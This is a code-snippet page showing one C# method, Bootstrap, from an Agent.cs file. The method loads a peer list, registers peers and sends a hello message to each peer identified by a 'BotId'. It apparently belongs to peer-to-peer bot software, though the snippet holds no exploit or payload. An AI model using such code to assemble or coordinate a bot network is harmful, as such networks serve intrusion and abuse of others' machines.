示例#1
0
文件: Agent.cs 项目: ynx0/vinchuca
        public void Bootstrap(List <PeerInfo> peers = null)
        {
            _peerList.Load();
            if (peers != null)
            {
                foreach (var peer in peers)
                {
                    _peerList.TryRegister(peer);
                }
            }

            Logger.Info("Bootstrapping init.  {0} found endpoints", _peerList.GetPeersEndPoint().Count);
            foreach (var peer in _peerList)
            {
                var hello = new HelloSynMessage();
                _messagesManager.Send(hello, peer.BotId);
            }
        }